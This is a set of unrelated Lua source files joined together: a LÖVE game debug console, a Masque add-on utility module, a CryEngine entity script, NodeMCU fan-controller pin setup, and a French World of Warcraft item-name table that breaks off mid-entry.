font = love.graphics.newFont(12),
inputcolor = game.colors.white,
outputcolor = game.colors.yellow_green,
backgroundcolor = game.colors.black,
}
game.console = console
local con = {
isopen = false,
input = "",
cursor = 0,
cursorstat = true,
cursorlastblink = 0,
linecursor = 0,
outputs = {},
inputs = {},
ignoreinput = false,
alreadykeyrepeat = false,
}
function console.keypressed(key, scancode, isrepeat)
if console.enable then
if not isrepeat then
if console.isopen() then
if scancode == (console.closekey or console.togglekey) then
console.close()
return true
end
else
if scancode == (console.openkey or console.togglekey) then
console.open()
con.ignoreinput = true
end
end
end
if console.isopen() then
if key == "return" and con.input:len() > 0 then
console.sendinput()
elseif key == "backspace" and con.cursor > 0 and #con.input > 0 then
if love.keyboard.isDown("lctrl") then
local p = con.input:len() - (con.input:reverse():find("%s", -con.cursor) or (con.input:len() + 1)) + 1
if con.input:sub(con.cursor, con.cursor) == " " then
p = con.input:len() - (con.input:reverse():find("%w", con.input:len() - p) or (con.input:len() + 1)) + 1
end
console.subtext(p, con.cursor)
else
console.subtext(con.cursor - 1, con.cursor)
end
elseif key == "left" and con.cursor > 0 then
con.updatecursor(con.cursor - 1)
elseif key == "right" and con.cursor < utf8.len(con.input) then
con.updatecursor(con.cursor + 1)
elseif key == "up" and con.linecursor < #con.inputs then
con.linecursor = con.linecursor + 1
console.settext(con.inputs[#con.inputs - con.linecursor + 1] or "")
elseif key == "down" and con.linecursor > 0 then
con.linecursor = con.linecursor - 1
console.settext(con.inputs[#con.inputs - con.linecursor + 1] or "")
end
if love.keyboard.isDown("lctrl") then
if key == "x" then
love.system.setClipboardText(con.input)
console.settext("")
elseif key == "c" then
love.system.setClipboardText(con.input)
elseif key == "v" then
console.appendtext(love.system.getClipboardText(), con.cursor)
end
end
return true
end
end
end
hook.add("keypressed", "console", console.keypressed)
function console.keyreleased(key, scancode)
if console.isopen() and scancode == (console.openkey or console.togglekey) then
con.ignoreinput = false
end
end
hook.add("keyreleased", "console", console.keyreleased)
function console.textinput(text)
if console.isopen() and not con.ignoreinput then
console.appendtext(text, con.cursor)
return true
end
end
hook.add("textinput", "console", console.textinput)
function con.updatecursor(pos)
con.cursor = pos
con.cursorlastblink = love.timer.getTime()
con.cursorstat = true
end
function console.settext(text)
text = tostring(text)
con.input = text
con.updatecursor(utf8.len(text))
end
function console.appendtext(text, pos)
text = tostring(text)
con.input = utf8.sub(con.input,0, pos) .. text .. utf8.sub(con.input, pos+1)
con.updatecursor(pos + utf8.len(text))
end
function console.subtext(startpos, endpos)
startpos = math.max(startpos, 0)
endpos = math.min(endpos, utf8.len(con.input))
con.input = utf8.sub(con.input, 0, startpos) .. utf8.sub(con.input,endpos + 1)
con.updatecursor(startpos)
end
function console.sendinput()
local input = con.input
console.settext("")
table.insert(con.inputs, input)
con.linecursor = 0
console.print(input)
console.run(input)
end
function console.run(input)
if hook.call("console.run") then
return
end
local func = loadstring(input)
local success, a, b, c, d, e, f = pcall(func)
local args = {a, b, c, d, e, f}
if success then
if #args > 0 then
local result = {}
for _,value in pairs(args) do
local v = tostring(value)
if v then table.insert(result, v) end
end
console.print(game.colors.blue, table.concat(result, ", "))
end
end
end
function console.print(...)
local args = {...}
local valid = false
for k,v in pairs(args) do
if not iscolor(v) then
args[k] = tostring(v)
valid = true
end
end
if valid then
table.insert(con.outputs, args)
end
end
function console.draw()
if console.isopen() then
local width, height = love.window.getMode()
local inputcolor = console.inputcolor
local outputscolor = console.outputcolor
local backgroundcolor = console.backgroundcolor
love.graphics.setColor(backgroundcolor:alpha(150):rgba())
love.graphics.rectangle("fill", 0, height - console.font:getHeight() - 6, width, console.font:getHeight() + 6)
local input = love.graphics.newText(console.font, con.input)
local inputpos = Vector(0, height - console.font:getHeight() - 3)
love.graphics.setColor(inputcolor:rgba())
love.graphics.draw(input, inputpos.x, inputpos.y)
local cursorpos = console.font:getWidth(utf8.sub(con.input, 0, con.cursor))
local lastblink = con.cursorlastblink
if love.timer.getTime() - lastblink > 0.5 then
con.cursorlastblink = love.timer.getTime()
con.cursorstat = not con.cursorstat
end
love.graphics.setColor(inputcolor:alpha(inputcolor.a * (con.cursorstat and 1 or 0)):rgba())
love.graphics.rectangle("fill", inputpos.x + cursorpos, inputpos.y, 1, console.font:getHeight())
local outputspos = Vector()
local maxline = 20
local count = math.min(#con.outputs, maxline)
love.graphics.setColor(backgroundcolor:alpha(150):rgba())
love.graphics.rectangle("fill", 0, 0, width, console.font:getHeight() * count)
local i = 0
while i < count do
i = i + 1
local id = #con.outputs - i + 1
local args = con.outputs[id]
local textcolor = inputcolor
local texts = ""
local outputpos = Vector(0, console.font:getHeight() * (count - i)):add(outputspos)
love.graphics.setColor(outputscolor.r, outputscolor.g, outputscolor.b, outputscolor.a)
for k,v in pairs(args) do
if iscolor(v) then
textcolor = v
love.graphics.setColor(v:rgba())
else
local textpos = Vector(console.font:getWidth(texts), 0):add(outputpos)
texts = texts .. v
local output = love.graphics.newText(console.font, v)
love.graphics.draw(output, textpos.x, textpos.y)
end
end
end
end
end
hook.add("postdraw", "console", console.draw)
function console.open()
if hook.call("console.open") then
return
end
con.isopen = true
con.alreadykeyrepeat = love.keyboard.hasKeyRepeat()
if not con.alreadykeyrepeat then
love.keyboard.setKeyRepeat(true)
end
end
function console.close()
if hook.call("console.close") then
return
end
con.isopen = false
if not con.alreadykeyrepeat then
love.keyboard.setKeyRepeat(false)
end
end
function console.toggle()
if console.isopen() then
console.close()
else
console.open()
end
end
function console.isopen()
return con.isopen
end
function console.error(msg)
console.print(game.colors.red, "ERROR: " .. msg)
if console.errortrace then
local trace = debug.traceback()
for l in string.gmatch(trace, "(.-)\n") do
if not string.match(l, "boot.lua") then
if not string.match(l, "oldpcall") then
l = string.gsub(l, "stack traceback:", "Traceback\n")
console.print(game.colors.red, "\t" .. l)
end
end
end
end
end
hook.add("error", "console", console.error)
return console.print
|
--[[
This file is part of 'Masque', an add-on for World of Warcraft. For license information,
please see the included License.txt file or visit https://github.com/StormFX/Masque.
* File...: Core\Utility.lua
* Author.: StormFX
Utility Functions
]]
local _, Core = ...
----------------------------------------
-- Lua
---
local type = type
----------------------------------------
-- Size
---
-- Returns a height and width.
function Core.GetSize(Width, Height, xScale, yScale)
local w = (Width or 36) * xScale
local h = (Height or 36) * yScale
return w, h
end
----------------------------------------
-- Point
---
-- Clears and sets the points for a region.
function Core.SetPoints(Region, Button, Skin, Default, SetAllPoints)
Region:ClearAllPoints()
if SetAllPoints then
Region:SetAllPoints(Button)
else
local Point = Skin.Point
local RelPoint = Skin.RelPoint or Point
if not Point then
Point = Default and Default.Point
if Point then
RelPoint = Default.RelPoint or Point
else
Point = "CENTER"
RelPoint = Point
end
end
local OffsetX = Skin.OffsetX
local OffsetY = Skin.OffsetY
if Default and not OffsetX and not OffsetY then
OffsetX = Default.OffsetX or 0
OffsetY = Default.OffsetY or 0
end
Region:SetPoint(Point, Button, RelPoint, OffsetX or 0, OffsetY or 0)
end
end
----------------------------------------
-- Color
---
-- Returns a set of color values.
function Core.GetColor(Color, Alpha)
if type(Color) == "table" then
return Color[1] or 1, Color[2] or 1, Color[3] or 1, Alpha or Color[4] or 1
else
return 1, 1, 1, Alpha or 1
end
end
----------------------------------------
-- Coords
---
-- Returns a set of texture coordinates.
function Core.GetTexCoords(Coords)
if type(Coords) == "table" then
return Coords[1] or 0, Coords[2] or 1, Coords[3] or 0, Coords[4] or 1
else
return 0, 1, 0, 1
end
end
----------------------------------------
-- Scale
---
-- Returns the x and y scale of a button.
function Core.GetScale(Button)
local x = (Button:GetWidth() or 36) / 36
local y = (Button:GetHeight() or 36) / 36
return x, y
end
|
Script.ReloadScript("scripts/Utils/EntityUtils.lua")
-- Basic entity
EntityFlashTag =
{
Properties =
{
soclasses_SmartObjectClass = "",
bAutoGenAIHidePts = 0,
object_Model = "Objects/default/primitive_plane_small.cgf",
fScale = 2.0, -- Set the scale of the tag to appear above players heads
},
Client = {},
Server = {},
-- Temp.
_Flags = {},
Editor =
{
Icon = "physicsobject.bmp",
IconOnTop = 1,
},
}
------------------------------------------------------------------------------------------------------
function EntityFlashTag:OnSpawn()
self:SetFromProperties();
end
------------------------------------------------------------------------------------------------------
function EntityFlashTag:SetFromProperties()
local Properties = self.Properties;
if (Properties.object_Model == "") then
do return end;
end
self:LoadObject(0,Properties.object_Model);
self:SetScale(Properties.fScale);
end
------------------------------------------------------------------------------------------------------
-- OnPropertyChange called only by the editor.
------------------------------------------------------------------------------------------------------
function EntityFlashTag:OnPropertyChange()
self:SetFromProperties();
end
|
DHT=2
ROTATOR=0
ENGINE_LOW=5
ENGINE_MIDLE=6
ENGINE_HIGH=7
BUTTON=4
NET_INDICATOR = 8
BUTTON_DELAY=10000
SWITCHING_MODE_DELAY=5000
LOW_MODE=435
MED_MODE=436
HIGH_MODE=437
is_handling=false
gpio.mode(ROTATOR, gpio.OUTPUT)
gpio.mode(ENGINE_LOW, gpio.OUTPUT)
gpio.mode(ENGINE_MIDLE, gpio.OUTPUT)
gpio.mode(ENGINE_HIGH, gpio.OUTPUT)
gpio.mode(NET_INDICATOR, gpio.OUTPUT)
gpio.write(ENGINE_LOW, gpio.LOW)
gpio.write(ENGINE_MIDLE, gpio.LOW)
gpio.write(ENGINE_HIGH, gpio.LOW)
gpio.write(ROTATOR, gpio.LOW)
gpio.write(NET_INDICATOR, gpio.LOW)
gpio.mode(BUTTON,gpio.INT,gpio.PULLUP)
IS_ROTATE=false
IS_POWER_ON=false
FAN_MODE=LOW_MODE
|
CodexDB["items"]["frFR"]={[25]="Epée courte usée",[35]="Bâton tordu",[36]="Masse détériorée",[37]="Hache usée",[38]="Chemise de recrue",[39]="Pantalon de recrue",[40]="Bottes de recrue",[43]="Bottes d\'écuyer",[44]="Pantalon d\'écuyer",[45]="Chemise d\'écuyer",[47]="Chaussures de détrousseur",[48]="Pantalon de détrousseur",[49]="Chemise de détrousseur",[51]="Bottes de néophyte",[52]="Pantalon de néophyte",[53]="Chemise de néophyte",[55]="Bottes d\'apprenti",[56]="Robe d\'apprenti",[57]="Robe d\'acolyte",[59]="Chaussures d\'acolyte",[60]="Tunique doublée",[61]="Pantalon nain en cuir",[79]="Braies naines en tissu",[80]="Chaussures bordées de fourrure",[85]="Gilet en cuir sale",[117]="Viande séchée coriace",[118]="Potion de soins mineure",[120]="Pantalon de nervi",[121]="Bottes de nervi",[127]="Chemise du trappeur",[129]="Bottes robustes de trappeur",[139]="Pantalon de bagarreur",[140]="Bottes de bagarreur",[143]="Monster - Shield, Stormwind Guard",[147]="Pantalon robuste de trappeur",[148]="Chemise robuste de trappeur",[153]="Kilt primitif",[154]="Mantelet primitif",[159]="Eau de source",[182]="Tête de Garrick",[193]="Gilet en étoffe rapiécée",[194]="Pantalon en étoffe rapiécé",[195]="Bottes en étoffe rapiécées",[200]="Gilet en étoffe épaisse",[201]="Pantalon en étoffe épaisse",[202]="Chaussures en étoffe épaisse",[203]="Gants en étoffe épaisse",[209]="Pantalon en cuir sale",[210]="Bottes en cuir sale",[236]="Armure en cuir traité",[237]="Pantalon en cuir traité",[238]="Bottes en cuir traité",[239]="Gants en cuir traité",[285]="Haubergeon d\'écailles",[286]="Pantalon en écailles",[287]="Bottes en écailles",[414]="Dalaran piquant",[422]="Caprice des nains",[537]="Ecaille de Furie terne",[555]="Plumes de vautour",[556]="Bec de busard",[647]="Destinée",[710]="Brassards de la milice du peuple",[711]="Gants en étoffe rapiécés",[714]="Gants en cuir sale",[718]="Gants en écailles",[719]="Gants d\'éleveur de lapins",[720]="Gants de bagarreur",[723]="Foie de broche-tripes",[724]="Tourte au foie de broche-tripes",[725]="Patte de gnoll",[727]="Epée courte ébréchée",[728]="Recette : Ragoût de la marche de l\'Ouest",[729]="Viande filandreuse de vautour",[730]="Oeil de murloc",[731]="Groin de broche-tripes",[732]="Okra mûr",[733]="Ragoût de la marche de l\'Ouest",[735]="Médaillons de Rolf et Malakai",[737]="Eau de la source sacrée",[738]="Sac d\'orge",[739]="Sac de maïs",[740]="Sac de seigle",[742]="Une branche de sycomore",[743]="Fagot de chêne noirci",[744]="Flacon de botte de Tonnebière",[745]="Documents du maréchal McBride",[748]="Bon pour une pièce d\'armure de Hurlevent",[750]="Viande de loup coriace",[752]="Masque rouge",[753]="Epée courte gueule-de-dragon",[754]="Epée courte de vengeance",[755]="Bougie fondue",[756]="Pioche de tunnelier",[763]="Brassards couverts de glace",[765]="Feuillargent",[766]="Masse à ailettes",[767]="Grand bô",[768]="Hache de bûcheron",[769]="Morceau de viande de sanglier",[770]="Croc pointu de crocilisque",[771]="Défense ébréchée de sanglier",[772]="Grande bougie",[773]="Poussière d\'or",[774]="Malachite",[776]="Vendetta",[777]="Dent de rôdeur",[778]="Pioche de kobold",[779]="Coquillage rutilant",[780]="Aileron de murloc déchiré",[781]="Marteau de gnoll en pierre",[782]="Brassard peint de gnoll",[783]="Peau légère",[785]="Mage royal",[787]="Maquereau ombré",[789]="Marteau d\'armes robuste",[790]="Hache de forestier",[791]="Bâton noueux en frêne",[792]="Sandales tricotées",[793]="Gants tricotés",[794]="Pantalon tricoté",[795]="Tunique tricotée",[796]="Bottes en cuir grossier",[797]="Gants en cuir grossier",[798]="Pantalon en cuir grossier",[799]="Gilet en cuir grossier",[804]="Grand sac bleu",[805]="Petite bourse rouge",[809]="Rasoir sanglant",[810]="Marteau du vent du nord",[811]="Hache des bois profonds",[812]="Bâton luminescent de Clairbois",[814]="Flasque d\'huile",[816]="Petit canif",[818]="Oeil de tigre",[820]="Lame-tranchoir",[821]="Gilet rivepatte en cuir",[826]="Hache brutale de Rivepatte",[827]="Matraque pernicieuse",[828]="Petite bourse bleue",[829]="Masque en cuir rouge",[832]="Ceinture de Défias en argent",[833]="Pierre de vie",[835]="Grand filet",[837]="Armure en toile renforcée",[838]="Pantalon en toile renforcée",[839]="Gants en toile renforcée",[840]="Chaussures en toile renforcée",[841]="Montre de Froncebouille",[843]="Bottes en cuir tanné",[844]="Gants en cuir tanné",[845]="Pantalon en cuir tanné",[846]="Pourpoint en cuir tanné",[847]="Cotte de mailles",[848]="Pantalon en mailles",[849]="Bottes en mailles",[850]="Gants en mailles",[851]="Sabre d\'abordage",[852]="Masse",[853]="Hachette",[854]="Bâton de combat",[856]="Sac bleu en cuir",[857]="Grand sac rouge",[858]="Potion de soins inférieure",[859]="Chemise raffinée",[860]="Bottes de cavalier",[862]="Anneau runique",[863]="Faucheuse funèbre",[864]="Epée longue chevaleresque",[865]="Masse plombée",[866]="Bâton de moine",[867]="Gants de puissance sacrée",[868]="Protectrice ardente",[869]="Epée longue éblouissante",[870]="Hache de guerre embrasée",[871]="Hache-rafale",[872]="Tranche-roc",[873]="Bâton de Jordan",[878]="Filière de la taille d\'un poing",[880]="Bâton des horreurs",[884]="Côte de goule",[885]="Hache en métal noir",[886]="Epée courte en métal noir",[887]="Une livre de chair",[888]="Gants de bataille nagas",[889]="Une lettre poussiéreuse",[890]="Bâton de la chanterelle tordue",[892]="Gants de sortilège gnolls",[893]="Croc de loup redoutable",[895]="Crâne de worgen",[896]="Croc de worgen",[897]="Brassards du loup enragé",[899]="Croc tisse-venin",[910]="Une vieille lettre",[911]="Branche de bois de fer",[914]="Grande cotte d\'anneaux ogre",[915]="Masque rouge en soie",[916]="Une page de journal déchirée",[918]="Sac en peau de déviant",[920]="Masse pernicieuse à pointes",[921]="Une page de journal décolorée",[922]="Faux dace",[923]="Epée longue",[924]="Maillet",[925]="Fléau",[926]="Hache d\'armes",[927]="Hache double",[928]="Bâton long",[929]="Potion de soins",[932]="Sacoche de selle de palefroi corrompu",[933]="Grand sac à dos",[934]="Faucheuse de Stalvan",[935]="Epée courte de veilleur",[936]="Masse de minuit",[937]="Bâton noir du bois de la Pénombre",[938]="Pages de journal maculées de boue",[939]="Une page de journal maculée de sang",[940]="Robe de perspicacité",[942]="Bague de glace",[943]="Bâton de sylvegarde",[944]="Bâton de mage élémentaire",[954]="Parchemin de Force",[955]="Parchemin d\'Intelligence",[957]="Cargaison de William",[961]="Herbe de soins",[962]="Tourte de panse de porc",[981]="Collier de Bernice",[983]="Echarpe rouge en lin",[1006]="Collier de cuivre",[1008]="Epée très usée",[1009]="Marteau compact",[1010]="Bâton court noueux",[1011]="Hache aiguisée",[1013]="Rivet en fer",[1015]="Steak de loup",[1017]="Kébab de loup assaisonné",[1019]="Chiffon en lin",[1074]="Patte d\'araignée",[1075]="Pendentif sombrepoil",[1076]="Anneau du renégat défias",[1077]="Anneau de mage défias",[1080]="Viande de condor coriace",[1081]="Chair croustillante d\'araignée",[1082]="Goulash des Carmines",[1083]="Glyphe d\'Azora",[1113]="Pain invoqué",[1114]="Pain de seigle invoqué",[1116]="Anneau d\'argent pur",[1117]="Monster - Item, Fishing Pole",[1121]="Pattes du Lynx",[1127]="Sac de poudre noire",[1129]="Croc de goule",[1130]="Fiole de venin d\'araignée",[1131]="Totem d\'affliction",[1132]="Cor du loup des bois",[1154]="Ceinture de la milice du peuple",[1155]="Perche du somnambule",[1156]="Anneau somptueusement orné de joyaux",[1158]="Massue en métal massif",[1159]="Bâton de combat de la milice",[1161]="Epée courte de la milice",[1166]="Targe ébréchée",[1167]="Petite rondache",[1168]="Bouclier flambe-crâne",[1169]="Bouclier sombre",[1171]="Robe bien cousue",[1172]="Torche de Grayson",[1173]="Bottes usées par la pluie",[1175]="Une dent en or",[1177]="Huile d\'Olaf",[1178]="Roquette explosive",[1179]="Lait glacé",[1180]="Parchemin d\'Endurance",[1181]="Parchemin d\'Esprit",[1182]="Brassards cloutés de cuivre",[1183]="Garde-poignets élastiques",[1187]="Collier clouté",[1189]="Anneau de surveillant",[1190]="Cape de surveillant",[1191]="Sac de billes",[1193]="Targe cerclée",[1194]="Epée bâtarde",[1195]="Pelle de mineur kobold",[1196]="Tabar",[1197]="Masse géante",[1198]="Claymore",[1200]="Grand bouclier en bois",[1201]="Ecu terne",[1202]="Grand pavois",[1203]="Egide de Hurlevent",[1204]="La Tour verte",[1205]="Jus de melon",[1206]="Agate mousse",[1207]="Etoile de Murph",[1208]="Lettre d\'amour de Maybell",[1210]="Oeil ténébreux",[1211]="Harnais de guerre gnoll",[1212]="Bave de gnoll",[1213]="Brassards des gnolls",[1214]="Punisseur gnoll",[1215]="Ceinturon de maintien",[1218]="Massue de guerre gnolle",[1219]="Machette des Carmines",[1220]="Hache lupine",[1221]="Ecaille ventrale de jeune dragon",[1251]="Bandage en lin",[1252]="Note de Mamie Champierreux",[1254]="Pierre de feu inférieure",[1256]="Feuille de varech cristallin",[1257]="Liqueur d\'invisibilité",[1260]="Tête de Tharil\'zun",[1261]="Orbe de minuit",[1262]="Tonneau de Tonnebière",[1263]="Trépaneuse",[1264]="Cogne-tête",[1265]="Dard de scorpion",[1270]="Cape finement tissée",[1273]="Cotte d\'anneaux de la forêt",[1274]="Houblon",[1275]="Lorica d\'adjoint",[1276]="Targe en acier trempé",[1280]="Chaperon enveloppant",[1282]="Camail en métal étincelant",[1283]="Note de Verner",[1284]="Caisse de fers à cheval",[1287]="Croc de tarentule géante",[1288]="Grande glande à venin",[1292]="Fendoir du Boucher",[1293]="La situation de Comté-du-Lac",[1294]="La réponse du général",[1296]="Masse rochenoire",[1297]="Robe de l\'exhalombre",[1299]="Ceinture inférieure du pic",[1300]="Bâton inférieur du pic",[1302]="Gants de dragonnet noir",[1303]="Gants d\'ouvrier du pont",[1304]="Gants d\'équitation",[1306]="Garde-poignets en crinière de loup",[1307]="Plan de route du Collecteur",[1309]="Boîte d\'outils d\'Oslow",[1310]="Chausses de forgeron",[1314]="Doigts de goule",[1315]="Collier de lis",[1317]="Bâton en racine durcie",[1318]="Déchireuse de la nuit",[1319]="Anneau de volonté de fer",[1322]="Huile de foie de poisson",[1325]="Bouquet de jonquilles",[1326]="Poisson-lune sauté",[1327]="Note de Wiley",[1349]="Caisse d\'Abercrombie",[1351]="Brassards d\'osselets",[1353]="Rapport de Shaw",[1355]="Cape en peau de daim",[1357]="Carte au trésor du capitaine Sanders",[1358]="Un indice menant au trésor de Sanders",[1359]="Gants marqués d\'un lion",[1360]="Gantelets de Hurlevent en mailles",[1361]="Un autre indice menant au trésor de Sanders",[1362]="Le dernier indice menant au trésor de Sanders",[1364]="Gilet rapiécé en cuir",[1366]="Pantalon rapiécé en cuir",[1367]="Bottes rapiécées en cuir",[1368]="Gants rapiécés en cuir",[1369]="Ceinture rapiécée en cuir",[1370]="Brassards rapiécés en cuir",[1372]="Cape déchirée",[1374]="Chaussures râpées",[1376]="Cape râpée",[1377]="Gants râpés",[1378]="Pantalon râpé",[1380]="Robe râpée",[1381]="Un message mystérieux",[1382]="Masse de pierre",[1383]="Tomahawk en pierre",[1384]="Lame terne",[1386]="Hache du bois-chardon",[1387]="Croc-de-goule",[1388]="Bâton gauchi",[1389]="Massette de mine kobold",[1391]="Bâton mystique rivepatte",[1394]="Massue en bois d\'épave",[1395]="Pantalon d\'apprenti",[1396]="Pantalon d\'acolyte",[1399]="Bougie magique",[1401]="Feuille de Thé vert",[1404]="Charme des flots",[1405]="Bâton d\'écume",[1406]="Lance incrustée de perles",[1407]="Demande d\'aide de Salomon à la marche de l\'Ouest",[1408]="Réponse de Roidemantel à Salomon",[1409]="Demande d\'aide de Salomon à Sombre-comté",[1410]="Réponse de Bouclenoire à Salomon",[1411]="Bâton flétri",[1412]="Epée bâtarde grossière",[1413]="Epée médiocre",[1414]="Merlin craquelé",[1415]="Massette de charpentier",[1416]="Hachette rouillée",[1417]="Hache d\'armes martelée",[1418]="Ceinture usée en cuir",[1419]="Bottes usées en cuir",[1420]="Brassards usés en cuir",[1421]="Cape usée en peau",[1422]="Gants usés en cuir",[1423]="Pantalon usé en cuir",[1425]="Gilet usé en cuir",[1427]="Chaussures en patchwork",[1429]="Cape en patchwork",[1430]="Gants en patchwork",[1431]="Pantalon en patchwork",[1433]="Armure en patchwork",[1434]="Bâton de cire luminescent",[1436]="Braies des frontaliers",[1438]="Bouclier de guerrier",[1440]="Cogne-crâne gnoll",[1443]="Amulette ornée de joyaux de Cainwyn",[1445]="Espauliers rochenoires",[1446]="Bottes rochenoires",[1447]="Anneau des sauveurs",[1448]="Gantelets rochenoires",[1449]="Anneau de canalisation mineure",[1451]="Fiole de suc de zombie",[1453]="Peigne spectral",[1454]="Hache du massacreur",[1455]="Hache de champion rochenoire",[1457]="Masse sombrepoil",[1458]="Maillet sombrepoil",[1459]="Scalpeur sombrepoil",[1460]="Epée à deux mains sombrepoil",[1461]="Hache d\'armes de tueur",[1462]="Anneau des ténèbres",[1464]="Serre de busard",[1465]="Plaie-des-tigres",[1467]="Poisson-lune",[1468]="Aileron de murloc",[1469]="Cimeterre d\'Atun",[1470]="Sac en peau de murloc",[1473]="Bâton de la rive",[1475]="Petite glande à venin",[1476]="Patte d\'araignée brisée",[1477]="Parchemin d\'Agilité II",[1478]="Parchemin de Protection II",[1479]="Mitaines de Salma",[1480]="Poing de la milice du peuple",[1481]="Griffe-sinistre",[1482]="Ombrecroc",[1483]="Pilonneur",[1484]="Bâton ensorcelant",[1485]="Fourche",[1486]="Veste d\'écorce",[1487]="Pain noir invoqué",[1488]="Armure de vengeur",[1489]="Armure du voile funèbre",[1490]="Talisman du gardien",[1491]="Anneau de précision",[1493]="Cimeterre lourd de maraudeur",[1495]="Chaussures en calicot",[1497]="Cape en calicot",[1498]="Gants en calicot",[1499]="Pantalon en calicot",[1501]="Tunique en calicot",[1502]="Ceinture déformée en cuir",[1503]="Bottes déformées en cuir",[1504]="Brassards déformés en cuir",[1505]="Cape déformée",[1506]="Gants déformés en cuir",[1507]="Pantalon déformé en cuir",[1509]="Gilet déformé en cuir",[1510]="Marteau lourd",[1511]="Epée de roturier",[1512]="Hache d\'armes grossière",[1513]="Vieil estramaçon",[1514]="Marteau de guerre rouillé",[1515]="Bâton en bois grossier",[1516]="Hachette usée",[1518]="Peigne fantôme",[1519]="Oreille de Scalp-rouge",[1520]="Sueur de troll",[1521]="Hache de bûcheron ogre",[1522]="Lance de chasseur de têtes",[1523]="Enorme massue en pierre",[1524]="Défense de Casse-crâne",[1528]="Poignée d\'avoine",[1529]="Jade",[1532]="Tête réduite",[1537]="Sac de nourriture de la Vieille Blanchette",[1539]="Bâton noueux d\'ermite",[1547]="Bouclier de la Foi",[1557]="Targe des Mers",[1560]="Sandales branchie-bleue",[1561]="Robe de moissonneur",[1566]="Tranchante de la milice du peuple",[1596]="Mèche de cheveux fantômes",[1598]="Putresciale",[1602]="Hache-faucille",[1604]="Epée chromatique",[1607]="Gardien d\'âme",[1608]="Masse brise-tête",[1613]="Bâton de chasseur d\'esprit",[1624]="Heaume casse-crâne",[1625]="Flamberge exquise",[1630]="Electro-lanterne cassée",[1637]="Lettre à Ello",[1639]="Hache ricaneuse",[1640]="Hache de guerre monstrueuse",[1645]="Jus de baie lunaire",[1652]="Solide boîte à repas",[1656]="Lettre traduite",[1659]="Gants d\'ingénieur",[1664]="Perche de force sorcière",[1677]="Broigne en écailles de drake",[1678]="Demi-bottes ogres noires",[1679]="Batte de Korg",[1680]="Coupe-tête",[1685]="Sac en peau de troll",[1686]="Moustache à poil dur",[1687]="Griffe rétractile",[1688]="Longue queue soyeuse",[1696]="Griffe de raptor",[1697]="Dent de raptor effilée",[1701]="Griffe de basilic",[1702]="Epine dorsale intacte de basilic",[1703]="Queue de basilic de cristal",[1705]="Pierre de lune inférieure",[1706]="Eclats de Profondazur",[1707]="Brie de Hurlevent",[1708]="Nectar sucré",[1710]="Potion de soins supérieure",[1711]="Parchemin d\'Endurance II",[1712]="Parchemin d\'Esprit II",[1713]="Ankh de vie",[1714]="Collier de Calisea",[1715]="Armure jazeran polie",[1716]="Robe des magi",[1717]="Tunique en mailles doublières",[1718]="Pantalon en cuir de basilic",[1720]="Bâton du bois enchevêtré",[1721]="Marteau de guerre viking",[1722]="Merlin de Pierrépine",[1725]="Grand sac à dos",[1726]="Lance en os empoisonnée",[1727]="Epée de putréfaction",[1728]="Epée longue flamboyante de Teebu",[1729]="Sacoche des Veilleurs",[1730]="Ceinture usée en mailles",[1731]="Bottes usées en mailles",[1732]="Brassards usés en mailles",[1733]="Cape usée",[1734]="Gants usés en mailles",[1735]="Pantalon usé en mailles",[1737]="Haubergeon usé",[1738]="Ceinture en mailles entrelacées",[1739]="Bottes en mailles entrelacées",[1740]="Brassards en mailles entrelacées",[1741]="Cape lacée",[1742]="Gants en mailles entrelacées",[1743]="Pantalon en mailles entrelacées",[1744]="Protège-épaules en mailles entrelacées",[1745]="Haubergeon entrelacé",[1746]="Ceinture en anneaux rivetés",[1747]="Bottes en anneaux rivetés",[1748]="Brassards en anneaux rivetés",[1749]="Cape en anneaux rivetés",[1750]="Gants en anneaux rivetés",[1751]="Pantalon en anneaux rivetés",[1752]="Protège-épaules en anneaux rivetés",[1753]="Lorica rivetée",[1754]="Ceinture en anneaux renforcés",[1755]="Bottes en anneaux renforcés",[1756]="Brassards en anneaux renforcés",[1757]="Cape en anneaux renforcés",[1758]="Gants en anneaux renforcés",[1759]="Pantalon en anneaux renforcés",[1760]="Protège-épaules en anneaux renforcés",[1761]="Lorica renforcée",[1764]="Chaussures en canevas",[1766]="Cape en canevas",[1767]="Gants en canevas",[1768]="Pantalon en canevas",[1769]="Protège-épaules en canevas",[1770]="Gilet en canevas",[1772]="Chaussures en brocart",[1774]="Cape en brocart",[1775]="Gants en brocart",[1776]="Pantalon en brocart",[1777]="Protège-épaules en brocart",[1778]="Gilet en brocart",[1780]="Sandales à couture croisée",[1782]="Cape à couture croisée",[1783]="Gants à couture croisée",[1784]="Pantalon à couture croisée",[1785]="Protège-épaules à couture croisée",[1786]="Gilet à couture croisée",[1787]="Ceinture raccommodée en cuir",[1788]="Bottes raccommodées en cuir",[1789]="Brassards raccommodés en cuir",[1790]="Cape raccommodée",[1791]="Gants raccommodés en cuir",[1792]="Pantalon raccommodé en cuir",[1793]="Protège-épaules raccommodés en cuir",[1794]="Pourpoint raccommodé en cuir",[1795]="Ceinture en cuir brut",[1796]="Bottes en cuir brut",[1797]="Brassards en cuir brut",[1798]="Cape en cuir brut",[1799]="Gants en cuir brut",[1800]="Pantalon en cuir brut",[1801]="Protège-épaules en cuir brut",[1802]="Tunique en cuir brut",[1803]="Ceinture en cuir armé",[1804]="Bottes en cuir armé",[1805]="Brassards en cuir armé",[1806]="Cape en cuir armé",[1807]="Gants en cuir armé",[1808]="Pantalon en cuir armé",[1809]="Protège-épaules en cuir armé",[1810]="Armure en cuir armé",[1811]="Claymore émoussée",[1812]="Hache d\'armes à manche court",[1813]="Bâton de combat ébréché",[1814]="Massette endommagée",[1815]="Masse ornementale",[1816]="Hache déséquilibrée",[1817]="Epée courte de réserve",[1818]="Claymore standard",[1819]="Pioche de guerre",[1820]="Maillet en bois",[1821]="Lame déformée",[1822]="Canne de marche en cèdre",[1823]="Casse-tête assommant",[1824]="Hache de guerre rutilante",[1825]="Gourdin massif",[1826]="Maillet en pierre",[1827]="Fendoir à viande",[1828]="Hache de guerre en pierre",[1829]="Sabre d\'abordage court",[1830]="Epée bâtarde longue",[1831]="Bâton de guerre en chêne",[1832]="Chausses de chance",[1835]="Ceinture en cuir sale",[1836]="Brassards en cuir sale",[1839]="Ceinture en cuir grossier",[1840]="Brassards en cuir grossier",[1843]="Ceinture en cuir tanné",[1844]="Brassards en cuir tanné",[1845]="Ceinture en mailles",[1846]="Brassards en mailles",[1849]="Ceinture en cuir traité",[1850]="Brassards en cuir traité",[1852]="Brassards en écailles",[1853]="Ceinture en écailles",[1875]="Ecusson de Crispechardon",[1893]="Vengeance du mineur",[1894]="Carte du syndicat des mineurs",[1895]="Monster - Sword, Short Rusty",[1896]="Monster - Sword, Short Basic",[1897]="Monster - Sword, 